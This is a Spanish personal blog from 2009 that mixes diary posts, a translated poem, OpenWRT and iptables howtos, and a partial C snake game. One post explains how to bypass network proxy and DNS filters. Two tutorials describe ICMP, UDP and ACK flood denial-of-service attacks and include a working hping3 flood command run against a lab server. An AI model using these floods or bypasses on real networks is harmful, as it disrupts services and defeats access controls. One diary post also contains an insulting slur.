viernes, 25 de diciembre de 2009

Feliz navidad 2009

Felices fiestas a quienes se lo merecen, que son tod@s, XD.
De hobby



Copio aquí algo que estoy leyendo actualmente...
...
-Dijiste que Rosalie y Emmett van a casarse pronto... ¿Es ese matrimonio igual que para los humanos?
Ahora, al comprenderlo, se rió con ganas.
-¿Era eso lo que querías preguntar?
Me inquieté, incapaz de responder.
-Sí, supongo que es prácticamente lo mismo. Ya te dije que la mayoría de esos deseos humanos están ahí, sólo que ocultos por instintos más poderosos.
-Ah- fue todo lo que pude decir.
-¿Había alguna inteción detrás de esa curiosidad?
-bueno, me preguntaba... si algún día tú y yo...
Se puso serio de inmediato. Sentí la repentina inmovilidad de su cuerpo. Yo tambien me quedé quieta, reaccionando automáticamente.
-No creo que eso.. sea... posible para nosotros...
-¿Porque sería demasiado arduo para ti si yo estuviera demasiado cerca?
-Es un problema, sin duda, pero no me refería a eso. Es sólo que eres demasiado suave, tan frágil. Tengo que controlar mis actos cada instante que estamos juntos para no dañarte. Podría matarte con bastante facilidad, Bella, y simplemente por accidente...

o_O....

Saludos, Good Luck!!
Read more »

lunes, 21 de diciembre de 2009

[Visita] Aeropuerto

Es bueno saber que la informática tambien ocupa una posición tan importante en el sector aéreo.
Desde desarrollo de las aplicaciones aeronáuticas, matenimiento de las informaciones importantes para los vuelos, hasta proporcionar servicio de internet a los locales asociados a él.

Algunas cosillas:
-La red interna de AENA utilizan direcciones IP pública de rango A.
-Siguen utilizando Telefonía tradicional en vez de VOIP, apesar de que las mayorías grandes empresas esten migrando a éste, ¿el motivo? coste del inversión.
-Todos están duplicado, triplicado o cuadrupicado: tarjetas, cuarto de control, servidores.
-Sustituyeron la sala de mecafonía manual por servidores inteligentes [pobre gente... se quedaron en paro...]
-Niega haber sufrido ataques importantes desde exterior... [¿y desde interior?... no se lo pregunté...]

¿Interesante?
El jefe está exigiendo más informáticos, XD.


Esta es la sala de control [hasta tienen prismático,XD]:
De Visita_Aeropuerto_Sur

De Visita_Aeropuerto_Sur

Aviones bajo mi pie...
De Visita_Aeropuerto_Sur

Servidores [Muuuchos servidores]
De Visita_Aeropuerto_Sur

Esquema de distribución geográfica de las copias de seguridad:
De Visita_Aeropuerto_Sur

[Como alguien se le ocurre encender un cigarrillo aquí... nos morimos todo...]
De Visita_Aeropuerto_Sur
Read more »

miércoles, 16 de diciembre de 2009

another unfair

Hoy, es unos de los poco días que me entra tantas ganas de escribir...

Fecha: X años, X mes, X días, XX:XX:XX Horas.
Contexto: En medio de un examen.
Emisor: Profesor.
Receptor: Alumno.
Contenido: "Es que para conseguir este resultado tienes que hacer esto, pasarlo a esto, añadiéndole aquello, y pruébalo"

Contenido2: "Aunque no te salga, no te vayas aún, a ver, dónde no te sale?,venga, te explico..."

Para eso le dan los códigos ya directamente... Por DIOS, cómo puede decirlo todo estos con tanta claridad?... que estamos en un examen, y no una práctica de clase..

Una iluminación... vale! pero no tanto! no te pases!

Esto es injusto para quienes aprovaron estudiandoselo a codo, tener la misma puntuación con quienes aprovó con la ayuda, y que siguen sin entenderlo...

Es lo mismo que si tu te esforzaras 1 semanas para estudiar un examen y aprovarte con un 9, y que tu compañero se pasa todos los días tocandoselo los * y aprovarse tambien con un 9 teniendo la chuleta...

- UNFAIR -
Read more »

Google bookmark

Problema: Hay veces estoy en XP, a veces en Debian, utilizo tanto explorer como firefox o iceweasel, es un problema con los direcciones que tengo guardado en el favorito, porque ir agregando a cada una es una locura, hay tantos..... ¿y si hay necesitad de formateo? ¿y si estoy en otro PC? ...
Google bookmarks es la solucion, qué más puedo decir.... es un marcador online, indiferente de tu plataforma, navegador y el equipo donde estés....


Y una cosa curiosa, XD, es:
http://lmgtfy.com/
"let me google that for you"

por ejemplo:
por ejemplo: Click_Me
Read more »

Vecino!, dónde estás ?

Dice uno...

... [Censurado] ... [:D]

y tachammmm~~~!!
encontré Google Latitude

Es un gadget para igoogle, funciona con estos señales: Wi-Fi, telefonos 2G/3G/4G o GPS.

Tiene su tasa de error, claro que sí, pero no es mucho, con mi ejemplo, será unos 20 metros....
De testing



Referencia:
http://www.computerworld.com/s/article/9127462/FAQ_How_Google_Latitude_locates_you_

Saludos, Good Luck!!
Read more »

martes, 15 de diciembre de 2009

Elegancia



Cuando uno piensa que ya es a cosa pasada, que ahora es, como debía, como debería, como quería ser... felíz, es cuando alguien le mete el dedo en el ojo. Sí, el ojo, la vista, la visión, el "encuentro" en una coincidencia [o no?] indeseada [o si?] e inesperada [o también si?] que hace recordar cosas inrecordables, momentos en que su turno fue feliz guardado bajo la gran herida y que se esfuma al abrir. Prefería haber quedado ciego por un momento que ver tal felicidad. Puesto que la felicidad no contagia tanto como dice algunos, más bien muerde, por lo meno la suya. Al ver, al reconocer y decir "Sí, es demasiada, nadie es ajustable a su medida, habrá que seguir buscando".
¿seguir buscando?.. Pero ... ¿es posible?, ¿sustituible?, ¿reemplazable?...
Sí's, Mr. time puede mover los inmovibles para nosotros. dejar que Mr. time haga su trabajo...
-Vió pero no la vió - ¿Better? Could it be....
Read more »

martes, 8 de diciembre de 2009

Bridge? NAT?

Bridge:
Ejemplo de uso: unir 2 LAN, unir eth0 de rango X con eth1 de rango Y. trabaja con MAC
Ejemplo: Switch
Opera en nivel enlace de OSI.
En linux se pordría conseguir utilizando bridge-utils

NAT (network address translation)
Ejemplo de uso: unir 2 LAN, unir eth0 de rango X con eth1 de rango Y. trabaja con IP
Ejemplo: Router
Opera en nivel red de OSI.
En linux se pordría conseguir utilizando iptables
Read more »

[HowTo] Saltar el proxy

[HowTo] Saltar el proxy

Al escribir www.XXX.com en la barra de dirección, el navegador toma el puerto 80 como por defecto.
si tiene una pagina web con un puerto específico lo tendrás que especificarlo: ejm.
www.xxx.com:81

Un proxy transparente normalmente tiene esta regla: (con iptables)

iptables -t nat -A PREROUTING -i $INTERNET -p tcp --dport 80 -j REDIRECT --to-port $SQUID_PORT

$INTERNET = interfaz de red que va hacia internet
$SQUID_PORT = puerto del servidor proxy
Al traducir sería algo como: todo los paquetes que vaya a la interfaz $INTERNET con puerto 80 lo redirecciona al puerto de $SQUID_PORT
entonces todos lo que vayas a enviar desde el navegador (sin nigún especificación del puerto especial) pasará por el proxy, por lo tanto, filtro!
De testing



JUMPING

Visto lo anterior, podemos evitar el filtro saliendo por un puerto diferente al 80, en este caso con un proxy externo, y el proxy externo es quien manda peticion al puerto 80 del servior web y nos devuelve los resultados.
De testing

El uso de ultrasurf es sumamente igual, sólo que en vez conectar directamente con el proxy externo, primero se conecta con el interno y atravéz de él se establece una conexión segura con el proxy externo, tal como indica Monzisez Blog [La chica mala, XD]
De testing

He experimentado otro tipo de filtro, el que lo creó utilizó un servidor DNS, que consiste en resolver una IP inexistente a las páginas indeseada.
Y por supuesto,ésta técnica es muchísimo menos eficiente, además de hay que conocer todas páginas que quieras filtrar, hay que ponerlo manualmente.
y se salta con sumamente facilidad:
-apuntar la IP de la página web que quieras visitar desde un PC que no tiene filtro, y después en Pc con filtro agregar la IP directamente a la barra de dirección. y Done! Jumped! [¿?]
-Otra manera es cambiando la configuración del red, indicarle un DNS público. [En mi caso no la pude hacer hasta que conseguí la password del administrador, porque no teníamos permiso para ni siquiera para cambiar la hora del sistema...]
-o tambien con un proy externo, porque es el proxy quien resuelve la el dominio y enviar peticion al servidor web, y despues nos devuelve los resultados.
De testing



====
Creo que lo siguiente pordría ser un buen filtrado, :D, (Con iptable - squid)

#aceptamos los puertos conocidos, tanto TCP como UDP
iptables -A FORWARD -s 192.168.10.0/24 -i $INTRANET -p tcp --dport 1:1024 -j ACCEPT
iptables -A FORWARD -s 192.168.10.0/24 -i $INTRANET -p udp --dport 1:1024 -j ACCEPT
# Traducción: Aceptar todos los que venga de la interfaz $INTRANET (LAN) de rango IP 192.168.10.0 con máscara 255.255.255.0 cuyo puerto sea entre 1 y 1024.

# o tambien podemos sólo especificar determinado puerto, pero hay que recordar que hay algunos puertos que son impresindible como por ejemplo 53 de UDP (DNS).
# ejemplo para un solo puerto, 3389, control remoto.
iptables -A FORWARD -s 192.168.10.0/24 -i $INTRANET -p tcp --dport 3389 -j ACCEPT


# Y denegamos el resto, para evitar que algunos "listillos" [sabes a quién me refiero, XD] salte el filtro.
iptables -A FORWARD -s 192.168.10.0/24 -i $INTRANET -j DROP
# Traducción: Denegar/tirar/votar todos los paquetes que venga de la interfaz $INTRANET (LAN) de rango IP 192.168.10.0 con máscara 255.255.255.0

iptables -t nat -A PREROUTING -i $INTERNET -p tcp --dport 80 -j REDIRECT --to-port $SQUID_PORT


!! OJO!! EYE !! [XD]
"La orden SÍ IMPORTA"
primero las exepciones y después los generales.



REFERENCIA
http://es.tldp.org/Manuales-LuCAS/doc-iptables-firewall/doc-iptables-firewall-html/

Saludos, Good Luck !!
Read more »

lunes, 23 de noviembre de 2009

Lee, piensa, reflexiona, aplica. VI

21 de diciembre de 2012


La profecía Maya de que llega el fin del mundo en el año 2012 puede ser verdad o mentira [más cerca está de mentira, pero bueno...].
Pero... y si de verdad cumple esa predición?
¿Qué harías? ¿Con quién lo pasarías?...
¿Aún te quedas muchas cosas por experimentar en tu vida? No querrás lamentarlo en el último segundo,¿verdad?
Otro ánimo más para Carpe Diem.

[No estubo mal la peli, ;)]
Read more »

[Howto] Fonera repetidor con WPA

Fonera repetidor con WPA


Problema:
La señal que llega hasta mi cuarto es super inestable (hay un muro por el medio), y tan sólo por dar 2 pasos hacia un lado la señal ya varía un montón.
99ms hasta el AP, imagínate cuándo tardaría llegar hasta un server en internet...
De testing


Búsqueda de solución:
La fonera como repetidor de señal (es obio, por algo lo puse como título principal)

Configurar la fonera como repetidor ya lo había hecho con anterioridad, pero esta vez le he aumentado el nivel de seguridad (el día internacional de la seguridad informática es para que uno reflexiones sobre su inseguridad), y me he animado en anotarlo para futura ocación.

Tenemos varios opciones:
Instalamos DD-WRT y terminamos en cuestión de minutos.
Ó instalamos Open-WRT y nos entretenemos un tiempillo [bueno...tiempillo, tiempillo... de unos ... 6 hora, o_O, desde las 23:00 hasta 5:00, XD] y aprendiendo [claro].

[El tiempo vuela cuando uno está motivado...]

Si dije lo de antes, es obio que he elegido la segunda opción... ^_^

Follow ME!!


[Un pequeño saltitos]
Para el flasheo rápido y cómodo a Open-WRT os recomiendo ap51-flash-fonera-gui
Una vez flasheado, accedemos mediante Telnet, cambiamos password de root, salimos, y entramos de nuevo pero con SSH
[Y terminamos con el salto]


Para tener un poco la idea más clara, lo que necesitamos es 2 interfaz inalambrica (1xLAN, 1xWAN), y como la fonera ya trae una interfaz con RJ45, la vamos a aprovecharla tambien para que en caso de haya algún error con la interfaz inalámbrica tener un seguro.

Esto es lo que queremos:
WAN (virtual ath0) depente del AP
LAN (ath1 )fon 192.168.10.1
LAN2 (eth0, para por si ath0 falla) 192.168.2.1

Y para ellos:
##### /etc/config/network #####

config interface wan
option ifname ath0
option proto static
option ipaddr 192.168.1.10
option netmask 255.255.255.0
option dns 80.58.0.33
option gateway 192.168.1.1

config interface lan
option ifname ath1
option proto static
option ipaddr 192.168.10.1
option netmask 255.255.255.0
option dns 80.58.0.33

config interface lan2
option ifname eth0
option proto static
option ipaddr 192.168.2.1
option netmask 255.255.255.0
option dns 80.58.0.33

######### FIN ###########

LAN(ath1) es una tarjeta virtual por lo que temenos que crearlo a modo comando

Aseguramos que en /etc/config/wireless esté "option disable 0" para después poder crearla.



Más preparaciones:
Os recuerdo que en Linux [Open-WRT, kamikaze, es GNU/Linux tambien...] para acceder a una red inalámbrica con encriptación WPA requiere una aplicación de tercero: WPA Supplicant.
Y al igual, para ponerlo como un punto de acceso que soporte WPA tambien, este paquete se llama: hostapd

Por ahora aún no tenemos internet desde la fonera, lo que podemos hacer es descargar todos los paquetes necesario desde internet a nuestro PC, y después descargarlo desde nuestro PC a fonera.

Este es uno de los muchos repositorio que hay por el internet:
http://download.berlin.freifunk.net/fonera/

wpa-supplicant con su dependencias (openssl-util, libopenssl, zlib)
hostapd-mini


START

-Nos conectamos a la Fonera.
Y descargamos los archivos descargado previamente y se lo instalamos:
wget http://192.168.2.135/openssl-util_0.9.8e-1_mips.ipk &
wget http://192.168.2.135/libopenssl_0.9.8e-1_mips.ipk &
wget http://192.168.2.135/zlib_1.2.3-4_mips.ipk &
wget http://192.168.2.135/wpa-supplicant_0.5.7-1_mips.ipk &
wget http://192.168.2.135/hostapd-mini_0.5.7-1_mips.ipk &
ipkg install zlib_1.2.3-4_mips.ipk libopenssl_0.9.8e-1_mips.ipk openssl-util_0.9.8e-1_mips.ipk wpa-supplicant_0.5.7-1_mips.ipk hostapd-mini_0.5.7-1_mips.ipk


-Creamos un script para automatizar y organizar un poco
##### /etc/config/mi_script #####

wlanconfig ath1 destroy
wlanconfig ath0 destroy
#Al iniciar el script, elimina las interfaces inalábrica por si está.

wlanconfig ath0 create wlandev wifi0 wlanmode sta nosbeacon
#primero crea una interfaz en modo sta (station, cliente)

wlanconfig ath1 create wlandev wifi0 wlanmode ap
#después crea un AP [No puede haber AP si no tiene conectado STA de la fonera a su AP]

ifconfig ath0 up
ifconfig ath1 up
#levanta las 2 interfaz

wpa_supplicant -D wext -B -i ath0 -c /etc/config/wpa_supplicant_wan.conf &
#archivo de configuración de wpa_supplicant

hostapd /etc/config/hostapd_lan.conf &
#archivo de configuración de hostapd

/etc/config/mi_firewall

#########################

####### / etc/config/dhcp ######
config dhcp
option interface lan
option start 100
option limit 150
option leasetime 12h

config dhcp
option interface lan2
option start 100
option limit 150
option leasetime 12h

config dhcp
option interface wan
option ignore 1

#########################

##### /etc/config/wpa_supplicant_lan.conf #####

ap_scan=1
fast_reauth=1
network={
ssid=”SSID_de_AP”
scan_ssid=0
proto=WPA
key_mgmt=WPA-PSK
psk=”password”
}

##############################

##### /etc/config/hostapd_lan.conf #####

interface=ath1
driver=madwifi
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
debug=0
dump_file=/tmp/hostapd.dump
ssid=SSID_New_AP
wpa=1
wpa_passphrase=password
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP

##############################


######## /etc/config/mi_firewall ##########
##SCRIPT DE CONFIGURACION DE IPTABLES ####
#!/bin/sh

# interfaz que va conectada al internet
EXIF="ath0"
# interfaz que conecta al LAN
INIF="ath1"

# Puertos que van adirigir. puertoTCP="puerto1" puertoUDP="puerto2",
#si son mas de un puerto que va a dirigir, lo separa con un espacio
puertosTCP="7778" puertoTCP="80"
# ip a la que se le redirigen los puertos
pc2="192.168.1.2"

fail=0

#[ -f /etc/default/rcS ] && . /etc/default/rcS
#. /lib/lsb/init-functions

echo "Aplicando Reglas de Firewall..."

## Borrado de reglas anteriores
iptables -F || fail=1
iptables -X || fail=1
iptables -Z || fail=1
iptables -t nat -F || fail=1

## Establecemos politica por defecto
iptables -P INPUT ACCEPT || fail=1
iptables -P OUTPUT ACCEPT || fail=1
iptables -P FORWARD DROP || fail=1
iptables -t nat -P PREROUTING ACCEPT || fail=1
iptables -t nat -P POSTROUTING ACCEPT || fail=1

# Marcar paquetes salientes con su ip de origen
iptables -t nat -A POSTROUTING -o $EXIF -j MASQUERADE || fail=1
# Reenvio de IP
echo 1 > /proc/sys/net/ipv4/ip_forward || fail=1

# Aceptar paquetes para reenviar procedentes de la red local
iptables -A FORWARD -i $INIF -o $EXIF -j ACCEPT || fail=1
# Aceptar paquetes para reenviar procedentes de internet de conexiones ya establecidas
iptables -A FORWARD -i $EXIF -o $INIF -m state --state RELATED,ESTABLISHED -j ACCEPT || fail=1

##Se redirigen los puertos configurados

for puerto in $puertosTCP
do
iptables -A FORWARD -i $EXIF -o $INIF -p tcp --dport $puertoTCP -j ACCEPT || fail=1
iptables -t nat -A PREROUTING -i $EXIF -p tcp --dport $puertoTCP -j DNAT --to $pc2:$puerto || fail=1
done

for puerto in $puertosUDP
do
iptables -A FORWARD -i $EXIF -o $INIF -p udp --dport $puertoUDP -j ACCEPT || fail=1
iptables -t nat -A PREROUTING -i $EXIF -p udp --dport $puertoUDP -j DNAT --to $pc2:$puerto || fail=1
done

# Se muestran los resultados
echo $fail

if [ $fail -eq 0 ]
then
echo "Verifique que lo que se aplica con: iptables -L -n."
else
echo "Se ha producido un error al aplicar alguna de las reglas"
fi

#### FIN SCRIPT DE CONFIGURACION DE IPTABLES ####
#######################################


Con el script y los archivos de configuración creada, hay que añadirlo al inicio del arranque de la Fonera.
Pero antes hay que darle permiso de ejecución a /etc/config/mi_script y a /etc/config/mi_firewall

#chmod +x /etc/config/mi_script
#chmod +x /etc/config/mi_firewall

Creamos symbolic
#ln -s /etc/config/mi_script /etc/rc.d/S55mi_script


Con el /etc/config/mi_firewall conseguimos redireccionar la interfaz a otro. (como hacer bridge)

Reinicia la Fonera, and Enjoy it!!
#reboot

RECORDAR: Si la ath0 no se asocia a AP, ath1 no se configurará

A diferencia de la primera captura, esta pasa por 2 nodo y llega antes.
De testing




Saludos, Good Luck!!

_____
Read more »

jueves, 19 de noviembre de 2009

你要珍惜的5种人!- 5 tipos de personas que tienes que valorar

你要珍惜的5种人!

世界上有一种人
和你在一起的时候,
总是千万次嘱咐要多穿件衣服,
要注意自己的安全。
你觉得很烦,
却也觉得很温暖。
缺钱的时候,
他总会说些不易之类的话来训你,边教训,
边塞钱给你。
这种人,
叫父母。

世界上有一种人,
和你在一起的时候,
偶尔会和你打架,
偶尔会和你斗嘴。
他坏到总是抢你的点心,总是向父母打小报告,
但也总是爱护你比谁都多,
你们有最新密最亲密的关系。
这种人,叫做手足。

世界上有一种人,
不见面的时候会一直惦记着她,
见面的时候却又脸红心跳,
什么话都说不出口。
他总是轻易地把你的心揪住,
让你无法忘怀,
也能让你胡思乱想睡不好觉,
但你仍然甘之如饴,
因为你爱她。
他是你最甜蜜、最甜密的负荷。
这种人,
叫做恋人。

世界上有一种人,
知道你一些不为人知的小秘密。
犯错的时候,
她帮着你找理由;
暗恋一个人的时候,
她帮你传话;
和恋人吵架的时候,
你一定会哭着跑去找她。
你很抱歉的是你总是麻烦来到时才想到她,
但你很庆幸生命中出现了这么好的一个人。
也许你们在一起的日子,
走得比恋人还要久长。
这种人,
叫做朋友。

世界上有一种人,
总是在父母的保护下成长,
在手足的关系中定位自已,
在恋人的呵护中找到真爱,
在朋友的关心中得到温暖。
你知道这些人经过了你的生命,
也丰富了你的一生。
你谢谢他们带给你的,
却又总是说不出口。
这种人,
就是自己。

一直以为幸福在远方,
在可以追诼的未来。
我的双眼保持着眺望,
我的双耳仔细聆听,
唯恐疏忽错过。
后来才发现,
那些握过的手,
唱过的歌,流过的泪,爱过的人…………
所谓的曾经,就是幸福。



========


5 tipos de personas que tienes que valorar

En el mundo hay un tipo de persona
que cuando está contigo
siempre te dices que te pongas más ropa,
que tengas mucho cuidado.
te pareces pesado
pero a la vez ser querido
cuando necesitas dinero
siempre dandote latas
al mismo tiempo dandote lo que necesitas
ellos son
tus padres.

En este mundo hay un tipo de persona
que cuando está contigo
a veces pelea contigo
a veces discute contigo
tan malo que te quita la merienda, siempre chivando a tus padres de tus cosas
pero tambien es quien más te protege
teneis la relación más íntima
a él le llamas,
hermano

En este mundo hay un tipo de persona
que siempre piensas en ella cuando no la vez
que cuando la vez sonrojas y palpitas
y sin poder decirle nada.
siempre tiene la facilidad de alcanzar tu alma
haciendote inolvidar
a la vez ilusionarte y dejarte insomnio
pero sigue pareciendote dulce
porque la amas,
es carga más tierna
ella es tu amor, tu amada

En el mundo existe un tipo de persona
que sabe sobre algunos de tus secretos,
cuando cometes errores
él te ayuda a buscar el motivo,
cuando admiras a alguien
él te ayuda a decírselo,
cuando discutes con tu chica
irás corriendo hacia él
lo sientes porque simpre cuando te invade los problemas es cuando te acuerdas de él
pero al mismo tiempo te sientes feliz, por haber aparecido tal personaje en tu vida
a lo mejor el tiempo que pasais junto
superará estando con tu amada.
él es, tu amigo.

En el mundo existe un tipo de persona
que crece bajo la protección de los padres
que se autoidentifica entre las relaciones con su hermano
que encuentra el verdadero amor bajo el cuidado su amada
que obtiene cariño bajo la preocupación de sus amigos
sabe que son pasajeros
y que han llenado su vida
agradece por todos lo que le han dado
pero es incapaz de decirselo
y éste, eres tú mismo

Siempre pensé que la felicidad estaba en un lugar lejano
que se puede alcanzar en el futuro,
mis ojos permanece despierto,
mis oidos escucha con toda la atención
con miedo de desaprovechar y dejarla pasar
más tarde, es cuando descubro que
aquellos manos que han sido apretado
aquellos canciones que había cantado, lágrimas que habían caído, personas que había amado...
lo que son era, es la felicidad



=====
Gracias a los pasajeros, Xd.

Saludos, Good Luck!!
Read more »

viernes, 13 de noviembre de 2009

Sabías que...

Los host de A está separado por subnetting de los de B, lo curioso, lo que no sabía es que con una IP con máscara de red abarcando los 2 rango y puede funcionar correctamente...

ejm.
De tematicas

-A no puede ver a B, ni tampoco al inversa.
-192.168.1.1 puede ver tanto a A como a B.
-192.168.1.1 puede funcionar como intermediario.
Read more »

jueves, 12 de noviembre de 2009

Google Map, street view

España es unos de los países europeos con la que más calle sale en el google street view.

Otra función super bonita de google. [ellos sí que saben, :D]
De tematicas
Read more »

[Tutorial]DDOS: ICMP, UDP

ICMP Flood

ICMP
-Ping of death
consiste en enviar paquete "echo request" de tamaño superior a lo permitido, sobrepasando el buffer, dejando tieso a la víctima.

-ping flood
Hacer ping sin parar hacia la víctima. Con la opción -t (*)
Puede ser:
-Direct
Debe tener una ancho de banda superior a la de la víctima, porque sino es él quien te vota a tí, XD.
-Spoofing IP
Enviar echo con una direccion IP falsificada

-smurt
Consiste en falsificar una direccion IP y enviar una paticion al Broadcast. A mayor rango de red, mayor numero de host, mayor efectividad. Aunque con los parches y todo eso los sistema operativo actual ya no reponden a las peticiones broadcast.


(*) ping.exe de MS (de GNU/Linux tambien,creo) sólo permite paquete hasta 65500 byte, además viene con el intervalo de envio batante amplio que le hace inutil el ataque, osea que NO SIRVE para atacar

http://insecure.org/sploits/ping-o-death.html




UDP Flood

Enviar grandes cantidades de paquetes UDP a un determinado puerto UDP de la víctima (servidor DHCP, RADIUS...), y éste le responderá con mensaje de error (ICMP)

Éste es bastante utilizado.


[Qué poca ganas tengo de escribir, XD]
Read more »

viernes, 6 de noviembre de 2009

WAVEing

Ya tengo google Wave!!! :D [jaja~]
pero aún no puedo invitar... :P
De tematicas
Read more »

jueves, 5 de noviembre de 2009

...

Según una amiga:
La mayoría de los profesores o las profesoras prefieren alumnos trabajadores (aunque sea tonto de los tontos) o peloteros, y que no hayan superdotados (Le ponen en aprietos).
superdotado no soy, pelotero tampoco, trabajador ni mucho menos (en esto sí lo reconozco), me quedé entremedio de nada...

(...)
Así, me llamó creído por la cara.

(...)
-"tú tienes grado medio, y yo licenciatura"
Licenciada de qué? de prostitución? Das pena PUTA.

====

La peor elección que tomé...
Read more »

domingo, 25 de octubre de 2009

[Tutorial]DDOS: ACK Flood

[Tranqui, tranqui, que aún estoy vivo... y el tuto seguirá, a su ritmo , pero seguirá]


[Tutorial]DDOS: ACK Flood
---
Preview on Sui90 ...
TCP Header

---

Continuing...


Este ataque consiste en enviar paquetes erroneos para que cuando la víctima lo reciba, al analizarlo devuelva al atacante paquetes con el flag RST, indicandole que ha habido un error y pide al atacante el reenvio del paquete.
ejm. peticion de servicio a un puerto cerrado, SN erróneo...

Este ataque lo podría realizar después de la 3-way handshake, una vez que la conexión TCP esté establecida ó no.
ó tambien, lo más usual, ya que este ejecuandolo en solitario no hace mucho daño, juntarla con el ataque ACK. Que quedaría tal modo que la víctima además de tener la lista de conexión aprieto de half-opened, esté también contestando a toda esa conexiones helf-opened.




Ejemplo práctico:

Tools (Linux)
-hping3


En esta práctica vamos realizar DOS enviando Flag ACK solo y sin compañía. [como debería ser... Xd]
Envíando Flag ACk's sin tener previamente la conexión establecida, por lo que el server le devolverá errores.
[En esta Ip-spoofing no es válido ,tiene que tener una IP exitente y válido para que el server le responda]

# hping3 192.168.56.10 -A -p 80 --flood

hping3: elegí esta versión porque tiene la opcion de flood
192.168.56.10 : IP del server
-A : asignar el Flag ACK
-p 80: puerto 80
--flood: enviar los paquetes lo más rapido posible.

Con estos, realizandolo en mi pequeña red, conseguí un pequeño delay en las repuestas por parte del servidor web.
De encuenta que el ataque lo realizé con un solo atacante, entonces, si lo realizaramos a gran escala, DDOS, con X máquinas zombis en nuestros manos... ¿qué pasará? [XD]


De testing

Una captura del wireshark.




Saludos, Good Luck!!
Read more »

Lee, piensa, reflexiona, aplica. V

Aunque haya despertado con cierta tristesa, me alegro que haya puesto un punto final a cierto asunto [que no vuelva, que no vuelva...], y me he dado cuenta que nunca he posteado sobre mi frase favorita "be water", allá vamos, a llenar de esto de "basuras". :D.

Be water...
"Empty your mind.
Be formless. Shapeless, like water.
you put water into a cup ,it will becomes the cup,
you put water into a bottle ,it will becomes the bottle ,
you put water into a teaport,it will becomes the teaport,
Now, water can flow, or it can crash.

Be water my friend."


-ser adaptable a cualquier situación.
-ser dominante (del situación y de tí mismo): seguir si lo deseas o sino, terminarla


El agua es tan bueno que puede salvar vidas.
El agua es tan malo que puede hundir islas.

Dependiendo del situación y del deseo ,tú decides.

so, be water, my friend.

[I'm not water yet..] ¬_¬ .


Saludos, Good Luck !!
Read more »

sábado, 24 de octubre de 2009

the last word

"Vale... nunca más"
never mind....
Read more »

martes, 20 de octubre de 2009

Hoy, otra vez, como algunas de las veces, me siendo como el tio más tonto del mundo, me enfado conmigo mismo de lo tonto que soy. La imposiblidad de realizar algo bien tan sencillo que los otros lo realizan con un respiro me tiene loco.
Aunque digan que no hay nada que se debe arrependir en la vida, me arrepiendo, arrepiendo de no haber estudiado,empollado en su tiempo.

Por cierto, este es MI blog, si a alguien no le gusta sus contenidos, que se joda (no estan obligado a el), no tengo que estar publicando algo que os guste, sino lo que a mí me gusta y lo que yo quiero.
Read more »

viernes, 16 de octubre de 2009

Release!! serpiente.c (Snake)

Hace tiempo "publiqué" un juengo de serpiente con ncurses y hoy quiero revelar su código fuente !!!
El motivo es simple: Apoyo al OpenSource. (No al sofware privado) [Y yo con Windows,XD]

El código fuente viene comentado pero no muy detallado, XD. [Ahora lo leo de nuevo y ciertamente me mareo, me sorprendo a mí mismo, si ahora me mandara hacerlo de nuevo, tendría que dejarme una cuantas hora para idearmelo todo de nuevo,XD, es muy difícil de leerlo].

Aqui os dejo un copy+paste del codigo. (Espero que no haya incompatiblidad y que blogger no me coma ningún caracter...)

Aclaración: La función kbhit es copiado de otra persona
y las librerias de los includes estan separado con espacio, porque sino blogger lo omite.
===== Serpiente.c =====

/*********************************************************
*Fichero: serpiente.c
*Fecha: 15-05-2009
*Autor: Sui Zhao
*Contacto: sui1990(at)gmail(dot)com
*
*Descripcion:
* El tipico juego de serpiente
*
*gcc -lncurses -o serpiente serpiente.c
*
*Ultima actuacion:
************************************************************/

#include - stdio.h>
#include - ncurses.h>
#include - stdlib.h>

//* libreria y funcion para kbhit
#include - termios.h>
#include - unistd.h>
#include - sys/types.h>
#include - sys/time.h>
void changemode(int);
int kbhit(void);

//-------------------

//Funciones


void inicio();

/* ordenes() -> tiene como fin de anhadir
*los movimiento en que debe mover
*/
void ordenes(int y, int x, int longitud, int direccion);

// mover() -> todos los movimieto
void mover();

// Funcion dentro de mover
void ordena_posi_ejecutar(int aux);

//al dar una tecla
void dar_tecla();

//Funcion para aparecer la comida
void comida();

// game over
void fin_juego();

void bienvenida();
//Variables Globales
int y,x;
int longitud;
int el_ultimo;
int comida_y;
int comida_x;
int cantidad_comida=0;


struct POSICION
{
struct EJECUTA
{
int y;
int x;
int direccion;
}ejecuta[50];
}posicion[50];


//----prueba---



//------------

/*
* Direcciones:
* arriba = 1 = w = 119
* abajo = 2 = s = 115
* izq. = 3 = a = 97
* derch. = 4 = d = 100
*
*
* y, x = Posicion de la cabeza del serpiente
*/

main()
{
initscr();
bienvenida();

inicio();

mover();

getch();
endwin();
}


void inicio()
{
y=10;
x=25;
longitud=5;


posicion[1].ejecuta[1].y = 10;
posicion[1].ejecuta[1].x = 25;
posicion[1].ejecuta[1].direccion = 2;

posicion[2].ejecuta[1].y = 9;
posicion[2].ejecuta[1].x = 25;
posicion[2].ejecuta[1].direccion = 2;

posicion[3].ejecuta[1].y = 8;
posicion[3].ejecuta[1].x = 25;
posicion[3].ejecuta[1].direccion = 2;

posicion[4].ejecuta[1].y = 7;
posicion[4].ejecuta[1].x = 25;
posicion[4].ejecuta[1].direccion = 2;

posicion[5].ejecuta[1].y = 6;
posicion[5].ejecuta[1].x = 25;
posicion[5].ejecuta[1].direccion = 2;

comida();

}


void ordenes(int y, int x, int longitud, int direccion)
{
int aux;

for (aux=1;aux<=longitud;aux++)
{
el_ultimo=1;
while (posicion[aux].ejecuta[el_ultimo].direccion != 0)
{
el_ultimo++;
}
posicion[aux].ejecuta[el_ultimo].y = y;
posicion[aux].ejecuta[el_ultimo].x = x;
posicion[aux].ejecuta[el_ultimo].direccion = direccion;

}
}


void mover()
{
int aux;
int tiempo=1;
int aux_comida_y;
int aux_comida_x;
while (tiempo<=60000)
{
erase();

// iniciar la comida
move(comida_y,comida_x);
printw("*");
refresh();
// una vez que sea comido, generar mas comida
if (posicion[1].ejecuta[1].y == comida_y && posicion[1].ejecuta[1].x == comida_x)
{
aux_comida_y = comida_y;
aux_comida_x = comida_x;
comida();
++cantidad_comida;
}

// si toca algun tecla
if (kbhit())
{
dar_tecla();
}

for(aux=1; aux<=longitud;aux++)
{
ordena_posi_ejecutar(aux);
}


//dibujar los movimientos
for(aux=1; aux<=longitud;aux++)
{
switch(posicion[aux].ejecuta[1].direccion)
{//case 1,2,3,4
case 1:

posicion[aux].ejecuta[1].y = posicion[aux].ejecuta[1].y - 1;
move(posicion[aux].ejecuta[1].y,posicion[aux].ejecuta[1].x);
printw("o");
refresh();
